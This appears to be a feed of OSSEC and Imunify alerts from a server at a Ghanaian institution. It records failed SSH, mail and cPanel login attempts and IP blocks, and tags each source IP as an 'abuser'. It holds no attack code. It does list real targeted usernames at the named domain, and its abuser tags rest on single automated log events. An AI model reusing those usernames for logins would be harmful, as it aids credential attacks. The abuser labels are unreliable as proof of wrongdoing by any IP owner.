description:
Jan 26 20:15:08 ait sshd[2431585]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 26 20:15:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.246.112.254
description:
2025-01-26 20:15:33 dovecot_plain authenticator failed for nz112l254.bb60246.ctm.net ([60.246.118.115]) [60.246.112.254]:51473: 535 Incorrect authentication data (set_id=abs08b99933y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-26 20:15:34 dovecot_plain authenticator failed for ([207.188.157.230]) [207.188.157.230]:19445: 535 Incorrect authentication data (set_id=mssept2014)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
description:
2025-01-26 20:15:49 dovecot_login authenticator failed for ([121.178.185.141]) [121.178.185.141]:39066: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 26 20:15:08 ait sshd[2431585]: Invalid user archidecoriviera.fr 2a00 from 122.51.104.242 port 59220


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.246.112.254
description:
Jan 26 20:15:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.246.112.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
description:
Jan 26 20:16:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.127.143.140
description:
2025-01-26 20:15:59 dovecot_plain authenticator failed for ([116.127.143.140]) [116.127.143.140]:46746: 535 Incorrect authentication data (set_id=ug21m1150009)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.3.227.155
description:
2025-01-26 20:16:26 dovecot_login authenticator failed for p7001156-ipoefx.ipoe.ocn.ne.jp [118.3.227.155]:49766: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.112.80.222
description:
2025-01-26 20:16:35 dovecot_login authenticator failed for ([36.112.80.222]) [36.112.80.222]:46372: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
description:
2025-01-26 20:16:03 dovecot_login authenticator failed for ([111.61.176.242]) [111.61.176.242]:58448: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.86.250.62
description:
[2025-01-26 20:16:13 +0100] info [webmaild] 187.86.250.62 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 20:16:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.158.243.50
description:
Jan 26 20:16:40 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.158.243.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
description:
2025-01-26 20:16:41 dovecot_login authenticator failed for ([221.209.48.204]) [221.209.48.203]:34792: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.225.236
description:
2025-01-26 20:16:44 dovecot_login authenticator failed for 95-87-225-236.ip.btc-net.bg [95.87.225.236]:54003: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.200.161
description:
Jan 26 20:16:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.200.161 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 95.130.227.80
description:
Jan 26 20:16:10 ait sshd[2432201]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.130.227.80  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.186
description:
Jan 26 20:16:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.186 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 20:16:33 ait sshd[2432346]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.158.243.50
description:
2025-01-26 20:16:42 dovecot_login authenticator failed for ([117.158.243.50]) [117.158.243.50]:39236: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.130.227.80
description:
Jan 26 20:16:10 ait sshd[2432201]: pam_imunify(sshd:auth): [IM360_RBL] The IP 95.130.227.80 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 192.140.44.57
description:
[2025-01-26 20:16:12 +0100] info [webmaild] 192.140.44.57 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.242
description:
Jan 26 20:16:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.105.212.210
description:
Jan 26 20:16:02 ait sshd[2432141]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.105.212.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.200.161
description:
2025-01-26 20:16:04 dovecot_plain authenticator failed for (nlos-200-161.zamnet.zm) [196.46.200.161]:42679: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.240.2.38
description:
Jan 26 20:16:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.240.2.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.240.2.38
description:
2025-01-26 20:16:08 dovecot_login authenticator failed for ([58.240.2.38]) [58.240.2.38]:54187: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.231.95
description:
Jan 26 20:16:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.231.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.112.80.222
description:
Jan 26 20:16:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.112.80.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
description:
Jan 26 20:16:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.229.84
description:
2025-01-26 20:16:50 dovecot_login authenticator failed for ([104.241.229.84]) [104.241.229.84]:58843: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 26 20:16:33 ait sshd[2432346]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.229.84
description:
Jan 26 20:16:48 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.229.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.238.104.74
description:
Jan 26 20:15:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.238.104.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.238.104.74
description:
2025-01-26 20:15:56 dovecot_plain authenticator failed for ([124.238.104.74]) [124.238.104.74]:28996: 535 Incorrect authentication data (set_id=abs08b99933y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.127.143.140
description:
Jan 26 20:15:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.127.143.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.186
description:
2025-01-26 20:16:17 dovecot_login authenticator failed for (m121-202-153-186.smartone.com) [121.202.153.186]:54615: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.3.227.155
description:
Jan 26 20:16:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.3.227.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.231.95
description:
2025-01-26 20:16:26 dovecot_login authenticator failed for ([104.241.231.95]) [104.241.231.95]:55636: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.105.212.210
description:
Jan 26 20:16:02 ait sshd[2432141]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.105.212.210  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.35.218.58
description:
Jan 26 20:16:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.35.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
description:
2025-01-26 20:16:52 dovecot_login authenticator failed for ([111.61.177.188]) [111.61.177.188]:31508: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.87.225.236
description:
Jan 26 20:16:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.87.225.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.218.58
description:
2025-01-26 20:16:44 dovecot_login authenticator failed for ([14.35.218.58]) [14.35.218.58]:49994: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.124.240.66
description:
Jan 26 20:16:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.124.240.66 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.41.26
description:
[2025-01-26 20:17:22 +0100] info [whostmgrd] 104.207.41.26 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.51.81.78
description:
Jan 26 20:17:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.51.81.78 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.103.208
description:
[2025-01-26 20:17:20 +0100] info [cpaneld] 156.228.103.208 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.151.51.223
description:
Jan 26 20:17:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.151.51.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.240.37.74
description:
2025-01-26 20:17:24 dovecot_plain authenticator failed for ([1.71.191.42]) [61.240.37.74]:44574: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.119.144.86
description:
Jan 26 20:16:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.119.144.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.0.28
description:
2025-01-26 20:17:01 dovecot_login authenticator failed for ([101.13.0.28]) [101.13.0.28]:47805: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.93.205
description:
[2025-01-26 20:17:19 +0100] info [cpaneld] 156.228.93.205 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.39.1
description:
[2025-01-26 20:17:20 +0100] info [whostmgrd] 104.207.39.1 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.151.51.223
description:
2025-01-26 20:17:25 dovecot_plain authenticator failed for customer-ip-193-151-51-223.ipv.net.pl [193.151.51.223]:39894: 535 Incorrect authentication data (set_id=laryea@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.255.143.123
description:
2025-01-26 20:16:57 dovecot_login authenticator failed for ([197.255.143.123]) [197.255.143.123]:46195: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
description:
2025-01-26 20:16:59 dovecot_login authenticator failed for 24-119-144-86.cpe.sparklight.net [24.119.144.86]:55396: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.77.123
description:
[2025-01-26 20:17:18 +0100] info [cpaneld] 156.228.77.123 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.40.50
description:
[2025-01-26 20:17:22 +0100] info [whostmgrd] 104.207.40.50 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.214.1.50
description:
[2025-01-26 20:17:23 +0100] info [whostmgrd] 154.214.1.50 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.143.123
description:
Jan 26 20:16:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.143.123 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.83.103
description:
[2025-01-26 20:17:19 +0100] info [cpaneld] 156.228.83.103 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.211.250.122
description:
Jan 26 20:17:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.211.250.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.240.66
description:
2025-01-26 20:16:58 dovecot_login authenticator failed for ([220.124.240.66]) [220.124.240.66]:64538: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.89.146
description:
Jan 26 20:17:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.89.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.90.84
description:
[2025-01-26 20:17:20 +0100] info [cpaneld] 156.228.90.84 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.89.146
description:
2025-01-26 20:17:13 dovecot_login authenticator failed for ([58.18.89.146]) [58.18.89.146]:52562: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.77.220
description:
[2025-01-26 20:17:21 +0100] info [whostmgrd] 156.228.77.220 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.95.2
description:
[2025-01-26 20:17:24 +0100] info [whostmgrd] 156.228.95.2 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.211.250.122
description:
2025-01-26 20:17:35 dovecot_plain authenticator failed for ([190.211.250.118]) [190.211.250.122]:52064: 535 Incorrect authentication data (set_id=laryea)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.0.28
description:
Jan 26 20:16:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.0.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.51.81.78
description:
2025-01-26 20:17:13 dovecot_plain authenticator failed for ([61.51.81.78]) [61.51.81.78]:56892: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.240.37.74
description:
Jan 26 20:17:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.240.37.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.72.128.185
description:
2025-01-26 20:18:26 dovecot_plain authenticator failed for (187-072-128-185.static.ctbctelecom.com.br) [187.72.128.185]:48326: 535 Incorrect authentication data (set_id=ads17b00151y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.158.248.248
description:
Jan 26 20:18:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.158.248.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.158.248.248
description:
2025-01-26 20:18:33 dovecot_plain authenticator failed for ([193.158.248.248]) [193.158.248.248]:36736: 535 Incorrect authentication data (set_id=ads14b00350y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.28.128.172
description:
Jan 26 20:18:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.28.128.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.26.110.52
description:
2025-01-26 20:18:44 dovecot_plain authenticator failed for ([5.26.110.52]) [5.26.110.52]:47667: 535 Incorrect authentication data (set_id=ads17b00151y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.72.128.185
description:
Jan 26 20:18:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.72.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.26.110.52
description:
Jan 26 20:18:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.26.110.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.28.128.172
description:
2025-01-26 20:18:45 dovecot_plain authenticator failed for ([112.28.128.172]) [112.28.128.172]:49176: 535 Incorrect authentication data (set_id=ads14b00350y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.105.212.210
description:
Jan 26 20:18:48 ait sshd[2432987]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.105.212.210 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.105.212.210
description:
Jan 26 20:18:48 ait sshd[2432987]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.105.212.210


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.1.40.151
description:
Jan 26 20:18:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.1.40.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.190.118.132
description:
Jan 26 20:18:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.190.118.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.118.132
description:
2025-01-26 20:18:12 dovecot_plain authenticator failed for ([196.190.118.132]) [196.190.118.132]:34284: 535 Incorrect authentication data (set_id=ads18b00116y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.1.40.151
description:
2025-01-26 20:18:03 dovecot_plain authenticator failed for 96-1-40-151-staticipeast.wireless.telus.com [96.1.40.151]:54638: 535 Incorrect authentication data (set_id=ads18b00116y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.212.238
description:
2025-01-26 20:19:34 dovecot_plain authenticator failed for ([196.191.212.238]) [196.191.212.238]:43828: 535 Incorrect authentication data (set_id=amadam)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.252.72
description:
Jan 26 20:19:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.252.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.0.252.72
description:
2025-01-26 20:19:37 dovecot_plain authenticator failed for ([95.0.252.72]) [95.0.252.72]:48842: 535 Incorrect authentication data (set_id=abs20b00128y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.207.124.152
description:
2025-01-26 20:19:24 dovecot_plain authenticator failed for ([94.207.124.152]) [94.207.124.152]:53346: 535 Incorrect authentication data (set_id=amadam@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.161.52.149
description:
2025-01-26 20:19:27 dovecot_plain authenticator failed for ([220.161.52.149]) [220.161.52.149]:54743: 535 Incorrect authentication data (set_id=abs20b00128y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.191.212.238
description:
Jan 26 20:19:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.191.212.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 20:19:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.207.124.152
description:
Jan 26 20:19:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.207.124.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.161.52.149
description:
Jan 26 20:19:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.161.52.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.167.56.70
description:
2025-01-26 20:20:08 dovecot_plain authenticator failed for ([185.167.56.70]) [185.167.56.70]:34112: 535 Incorrect authentication data (set_id=abs21a00043y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 20:20:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.167.56.70
description:
Jan 26 20:20:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.167.56.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.68.46
description:
Jan 26 20:20:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.68.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.236.145.128
description:
Jan 26 20:20:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.236.145.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.236.145.128
description:
2025-01-26 20:20:24 dovecot_plain authenticator failed for ([104.236.145.128]) [104.236.145.128]:38728: 535 Incorrect authentication data (set_id=abs21a00043y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.250.191.189
description:
Jan 26 20:20:40 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.250.191.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.0.69.202
description:
Jan 26 20:20:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.0.69.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.68.46
description:
2025-01-26 20:20:18 dovecot_plain authenticator failed for ([59.98.150.190]) [122.160.68.46]:57848: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.136.220.222
description:
[2025-01-26 20:20:23 +0100] info [webmaild] 177.136.220.222 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.250.191.189
description:
2025-01-26 20:20:42 dovecot_plain authenticator failed for (peatink) [178.250.191.189]:60742: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.0.69.202
description:
2025-01-26 20:20:06 dovecot_plain authenticator failed for 191-0-69-202.host.telemar.net.br [191.0.69.202]:36405: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.126
description:
Jan 26 20:21:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.187.85
description:
Jan 26 20:21:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.187.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
description:
2025-01-26 20:21:29 dovecot_login authenticator failed for ([111.61.177.187]) [111.61.177.187]:21848: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.2.141.155
description:
Jan 26 20:21:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.2.141.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.52
description:
2025-01-26 20:21:17 dovecot_plain authenticator failed for (m121-202-154-52.smartone.com) [121.202.154.52]:60509: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.85
description:
2025-01-26 20:21:19 dovecot_plain authenticator failed for ([196.188.187.85]) [196.188.187.85]:57632: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.187
description:
Jan 26 20:21:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.126
description:
2025-01-26 20:21:14 dovecot_login authenticator failed for (m121-202-153-126.smartone.com) [121.202.153.126]:15966: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.52
